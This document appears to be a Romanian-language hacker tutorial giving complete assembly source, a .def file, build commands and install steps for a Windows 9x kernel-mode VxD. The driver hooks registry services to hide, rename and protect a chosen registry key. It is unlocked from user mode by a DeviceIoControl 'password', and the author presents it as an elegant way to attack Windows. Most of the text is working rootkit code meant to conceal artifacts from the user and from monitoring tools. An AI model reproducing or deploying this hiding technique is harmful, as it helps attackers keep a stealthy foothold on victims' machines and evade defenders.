Windoz9x lucreaza cu 2 code layere: - DLL layer - contine toate DLL-urile de pe system, dll-uri care ruleaza pe ring 3 - functiile API sint implementate aici, care la rindul lor apeleaza functii VxD (invers nu este posibil de nici o culoare) - etc... - VxD layer - numele vine de la Virtual Device Driver, unde "x"-ul este mijlocaj si poarta numele device-ului in cauza - este core-ul Windoz9x-ului&ME - are job-uri ca : management de memorie, task-uri.... - toare VxD-urile ruleaza pe ring 0, deci este o modalitate eleganta de atack asupra Windoz-ului, din moment de nu exista restrictii. [V x D o v e r v i e w & t o o l s]-------------[hai sa dam mina de la mina] VxD-urile sint de obicei scrise avind in background, docs-uri si tools-uri ca Windoz98 DDK (acesta este necesar si suficient),SoftICE-ul, si ca info-uri: NT/2K DDK. Ca si format sint LE, si ca atare trebuie link-ate cu un linker special (98DDK). VxD-urile pot fi dezvoltate in C/C++/Asm. Pentru C/C++, NuMega si nu numai, are tot felul de tools-uri, SDK-uri si alte shit-uri. Eu am dezvoltat acest modul in asm, folosit MASM-ul din Windoz98 si Notepad-ul. [S o u r c e c o d e] ---------------------[s1.asm] Acest modul se bazeaza pe idea de Hooking. Sa trecem sa si vedem ceva. .386p ; VxD-urile folosesc modul protejat ; .INC-urile necesare folosirii unor servici, si functii exportate din alte VxD-urie, precum si tot ; felul de macro-uri folosite pentru a scrie un VxD, si care se gasesc bineinteles in DDK-ul de 98 include vmm.inc include vwin32.inc include shell.inc include debug.inc include Ifsmgr.inc include vmmreg.inc ; orice VxD are nevoie de un Driver Declaration Block (DDB) in care se stocheaza informatii referitoare ; la modul (vezi 98DKK), si care pot fi vazute in SoftICE(9x), cu comanda VxD :) DECLARE_VIRTUAL_DEVICE S1,1,0, S1_Control,\ UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER ; assignarea eventurilor (notify) Begin_control_dispatch S1 Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl ; apelata cu DeviceIoControl din ring 3 Control_Dispatch Sys_Dynamic_Device_Exit, OnDeviceDynamicExit ; apelata descarcare End_control_dispatch S1 ; segmentul de date ; exista mai multe segmente de date (vezi 98DKK) VxD_PAGEABLE_DATA_SEG pPrevHookCreateKey dd 0 ; pointer catre functia anterioara din lant pPrevHookOpenKey dd 0 pPrevHookEnumKey dd 0 pPrevHookDeleteKey dd 0 bHookCreateKeyInstalled db 1 ; un bool flag, pentru a stii daca am hook-at serviciul _RegCreateKey bHookOpenKeyInstalled db 1 ; -||- bHookEnumKeyInstalled db 1 ; -||- bHookDeleteKeyInstalled db 1 ; -||- sKeyName db "Software\Ana ara",0 sKeyNameForEnum db "Ana ara",0 ; in cazul in care facem hook pe _RegEnumKey, acest lucru va apare ; intr-un monitor de registry sFakeKeyName db "Gugulici",0 ; cheia pe care vrem sa o ascundem VxD_PAGEABLE_DATA_ENDS ; segmentul de cod VxD_PAGEABLE_CODE_SEG ;***************************************************************************************** ; H O O K F U N C T I O N S : vezi in DDK, sintaxa unei functii HOOK ;***************************************************************************************** ; functia care face hook pe serviciul _RegDeleteKey, si monitorizeaza o stergere a cheii noastre BeginProc RegDeleteKey_Hook, HOOK_PROC, pPrevHookDeleteKey, LOCKED push ebp mov ebp, esp pushfd ; salvam tot pushad Trace_out "Call of _RegDeleteKey service" ; pentru debug ; in ebp + 00h avem ebp salvat ; in ebp + 04h avem adresa de intoarcere ; in ebp + 08h avem handle-ul cheii (hKey) ; in ebp + 0Ch avem pointer la numele subcheii (lpszSubKey) VMMCall _lstrcmpi, ; comparam cheile cmp eax, 0 ; in cazul in care o gasim, afisam intr-un ; debugview stringul de mai jos jne Not_Our_Key_Delete Trace_out "GASITA" popad ; ne retragem fara sa chemam functia precedenta din lant popfd pop ebp ret Not_Our_Key_Delete: popad ; daca nu este cheia noastra, da controlul mai departe popfd pop ebp jmp [pPrevHookDeleteKey] ret EndProc RegDeleteKey_Hook ; functia care face hook pe serviciul _RegEnumKey, si care este de fapt CHEIA INTREGULUI MODUL BeginProc RegEnumKey_Hook, HOOK_PROC, pPrevHookEnumKey, LOCKED push ebp mov ebp, esp pushfd ; salvam tot pushad Trace_out "Call of _RegEnumKey service" ; pentru debug ; aici lucrurile stau altfel ; in momentul in care se deschide o cheie, practic se face mai intii un _RegEnumKey pe cheia parinte ; noi prindem toate _RegEnumKey-urile, si daca ne aflam acolo, returnam o eroare ; (aici ramine la atitudinea fiecaruia) push [ebp+14h] ; facem push cchName push [ebp+10h] ; facem push lpszName push [ebp+0Ch] ; facem push iSubKey push [ebp+08h] ; facem push hKey call [pPrevHookEnumKey] ; chemam functia precedenta din lant, pentru a ne returna numele cheii add esp, 10h VMMCall _lstrcmpi, ; comparam cheia returnata cu cheia noastra cmp eax, 0 jne RegEnumKey_Hook_End mov byte ptr [ebp + 10h], 0 ; daca o gasim modificam continutul numelui popad ; ne retragem fara sa mai chemam in continuare functia precedenta popfd pop ebp ret RegEnumKey_Hook_End: popad ; aici ne retragem frumos popfd pop ebp jmp [pPrevHookEnumKey] ret EndProc RegEnumKey_Hook ; functia care face hook pe serviciul _RegCreateKey ; aici problema este putin cu cintec, pentru ca aici se creaza cheia, iar daca nu dam controlul mai departe, ; cheia nu se va crea de nici o culoare ; de preferabil sa se foloseasca numai ca si monitor BeginProc RegCreateKey_Hook, HOOK_PROC, pPrevHookCreateKey, LOCKED push ebp mov ebp, esp pushfd pushad Trace_out "Call of _RegCreateKey service" ; pentru debug ; in ebp + 00h avem ebp salvat ; in ebp + 04h avem adresa de intoarcere ; in ebp + 08h avem hKey-ul ; in ebp + 0Ch avem pointer la numele cheiil pszSubKey ; in ebp + 10h avem handler-ul cheii (lphKey) mov eax, dword ptr [ebp + 10h] ; incarcam tot push eax mov eax, dword ptr [ebp + 0Ch] push eax mov eax, dword ptr [ebp + 08h] push eax call [pPrevHookCreateKey] ; pasam mai departe add esp, 0Ch popad ; ... si ne retragem popfd pop ebp ret EndProc RegCreateKey_Hook ; functia care face hook pe serviciul _RegOpenKey ; aici se poate vedem pe un monitor de registry cum se va schimba numele cheii noastre un ceva ce setam la inceput BeginProc RegOpenKey_Hook, HOOK_PROC, pPrevHookOpenKey, LOCKED push ebp mov ebp, esp pushfd pushad Trace_out "Call OF _RegOPENKey service" ; debug ; in ebp + 00h avem ebp salvat ; in ebp + 04h avem adresa de intoarcere ; in ebp + 08h avem hKey-ul ; in ebp + 0Ch avem pointer la numele cheii lpszSubKey ; in ebp + 10h avem handler-ul cheii (lphKey) VMMCall _lstrcmpi, ; comparam numele cheii cmp eax, 0 jne Not_Our_Key_Open cld ; daca o gasim ca fiind a noastra, VMMCall _lstrcpyn, ; schimbam numele cheii cu ceva aiurea mov dword ptr [ebp + 0Ch], eax popad ; ne retragem frumos, pasind totul mai departe, ca si cum nu s-ar fi intimplat nimic popfd pop ebp jmp [pPrevHookOpenKey] ret Not_Our_Key_Open: popad ; ne retragem frumos, pasind totul mai departe, dar aici chiar ca nu s-a intimplat nimic popfd pop ebp jmp [pPrevHookOpenKey] ret EndProc RegOpenKey_Hook ;***************************************************************************************** ; A S S I G N E D F U N C T I O N S ;***************************************************************************************** ; ideea initiala a fost ca acest modul sa fie un gate, pentru orice applicatie, care daca va stii ; parola de intrare, sa poate sa nu fie stingherit de nimic (in cazul de fata, chiar acest gate), ; iar cind isi termina treaba, sa inchida gate-ul ; intre timp, ideea initiala s-a pierdut, din cauza timpului meu liber. :) ; in momentul de fata, parola de intrare este "1" BeginProc OnDeviceIoControl ; aici se intra de pe ring 3, prin DeviceIoControl() assume esi:ptr DIOCParams .if [esi].dwIoControlCode == DIOC_Open xor eax, eax .elseif [esi].dwIoControlCode == 1 ; se verifica codul (parola) GetVxDServiceOrdinal eax, _RegCreateKey ; facem hook pe serviciul _RegCreateKey mov esi, OFFSET32 RegCreateKey_Hook VMMCall Hook_Device_Service jc Error_Hooking ; totul e ok? Trace_out "I'm begining to hook _RegCreateKey service" mov bHookCreateKeyInstalled, 0 ; ridicam flagul ca am reusit sa hook-am. GetVxDServiceOrdinal eax, _RegOpenKey mov esi, OFFSET32 RegOpenKey_Hook VMMCall Hook_Device_Service jc Error_Hooking Trace_out "I'm begining to hook _RegOpenKey service" mov bHookOpenKeyInstalled, 0 GetVxDServiceOrdinal eax, _RegEnumKey mov esi, OFFSET32 RegEnumKey_Hook VMMCall Hook_Device_Service jc Error_Hooking Trace_out "I'm begining to hook _RegEnumKey service" mov bHookEnumKeyInstalled, 0 GetVxDServiceOrdinal eax, _RegDeleteKey mov esi, OFFSET32 RegDeleteKey_Hook VMMCall Hook_Device_Service jc Error_Hooking Trace_out "I'm begining to hook _RegDeleteKey service" mov bHookDeleteKeyInstalled, 0 xor eax, eax ret Error_Hooking: Trace_out "Error on hooking" mov eax, 1 .endif ret EndProc OnDeviceIoControl ; functia de notify pe descarcare BeginProc OnDeviceDynamicExit cmp bHookCreateKeyInstalled, 0 ; verificam falg-ul jnz Error_Unhooking ; nu avem hook instalat aici mov esi, OFFSET32 RegCreateKey_Hook ; facem unhook pe serviciu GetVxDServiceOrdinal eax, _RegCreateKey VMMCall Unhook_Device_Service jc Error_Unhooking Trace_out "Service _RegCreateKey was succefully unhooked" cmp bHookOpenKeyInstalled, 0 jnz Error_Unhooking mov esi, OFFSET32 RegOpenKey_Hook GetVxDServiceOrdinal eax, _RegOpenKey VMMCall Unhook_Device_Service jc Error_Unhooking Trace_out "Service _RegOpenKey was succefully unhooked" cmp bHookEnumKeyInstalled, 0 jnz Error_Unhooking mov esi, OFFSET32 RegEnumKey_Hook GetVxDServiceOrdinal eax, _RegEnumKey VMMCall Unhook_Device_Service jc Error_Unhooking Trace_out "Service _RegEnumKey was succefully unhooked" cmp bHookDeleteKeyInstalled, 0 jnz Error_Unhooking mov esi, OFFSET32 RegDeleteKey_Hook GetVxDServiceOrdinal eax, _RegDeleteKey VMMCall Unhook_Device_Service jc Error_Unhooking Trace_out "Service _RegDeleteKey was succefully unhooked" ret Error_Unhooking: Trace_out "Error on unhooking" ret EndProc OnDeviceDynamicExit VxD_PAGEABLE_CODE_ENDS end [S o u r c e c o d e] -------------------- [s1.def] Def-ul poate fi facut copy/paste in marea majoritate a cazurilor. VXD S1 DYNAMIC ; numele VxD-ului este "S1", si este un VxD dinamic, (cele statice sint nu pot fi descarcate din memorie) ; adica ca si un DLL, poate fi descarcat oricind din memorie (daca lasati hook-urile setate, 99% veti ; vedea stele verzi pe ecranul placut albastru al Windoz-ului, care moare ... moare...) ; numele, sint case sensitive SEGMENTS _LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE _LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE _LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE _TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE _DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE _TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE _BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE _LMGTABLE CLASS 'MCODE' PRELOAD NONDISCARDABLE IOPL _LMSGDATA CLASS 'MCODE' PRELOAD NONDISCARDABLE IOPL _IMSGTABLE CLASS 'MCODE' PRELOAD DISCARDABLE IOPL _IMSGDATA CLASS 'MCODE' PRELOAD DISCARDABLE IOPL _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _PTEXT CLASS 'PCODE' NONDISCARDABLE _PMSGTABLE CLASS 'MCODE' NONDISCARDABLE IOPL _PMSGDATA CLASS 'MCODE' NONDISCARDABLE IOPL _PDATA CLASS 'PDATA' NONDISCARDABLE SHARED _STEXT CLASS 'SCODE' RESIDENT _SDATA CLASS 'SCODE' RESIDENT _DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING _DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING _DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING _16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE _RCODE CLASS 'RCODE' EXPORTS S1_DDB @1 ; numele VxD-ului trebuie setat inainte de "_DDB" ; mai multe lucruri despre .def-uri, se gasesc in DDK [C o m p i l a r e s i l i n k a r e]------------------[schimbarea la fatza] Dupa instalarea 98DDK-ului, in comand prompt se seteaza urmatoarele variabile: Pentru Debug: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl ml s1.asm Pentru Release set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl ml s1.asm Linkarea: link s1.obj /vxd /def:s1.def [P l a s a r e a p e s y s t e m]-----------------------[jucam in deplasare] Moduri de plasament: C:\WINDOWZ\SYSTEM\IOSUBSYS, si va fi incarcat la o noua rebootare. sau o incarcati manual cu o applicatie pe ring 3. :) [S t r a p u n g e r e a g a t e - u l u i]--------------[penetrarea] O applicatie pe ring 3, isi va cere drepturile in felul urmator: (asta dupe ce VxD-ul este in memorie, prin rebootare) HANDLE hTest = CreateFile( "\\\\.\\S1.VXD", 0, 0, 0, 0, FILE_FLAG_DELETE_ON_CLOSE, 0); if (hTest != INVALID_HANDLE_VALUE) { MessageBox("<<<< The VxD is present >>>>"); DeviceIoControl( hTest, 1, // parola catre gate NULL, NULL, NULL, NULL, NULL, NULL); // si...din acest moment, a inceput distractia (...soft parade...) } else MessageBox("The VxD is not present");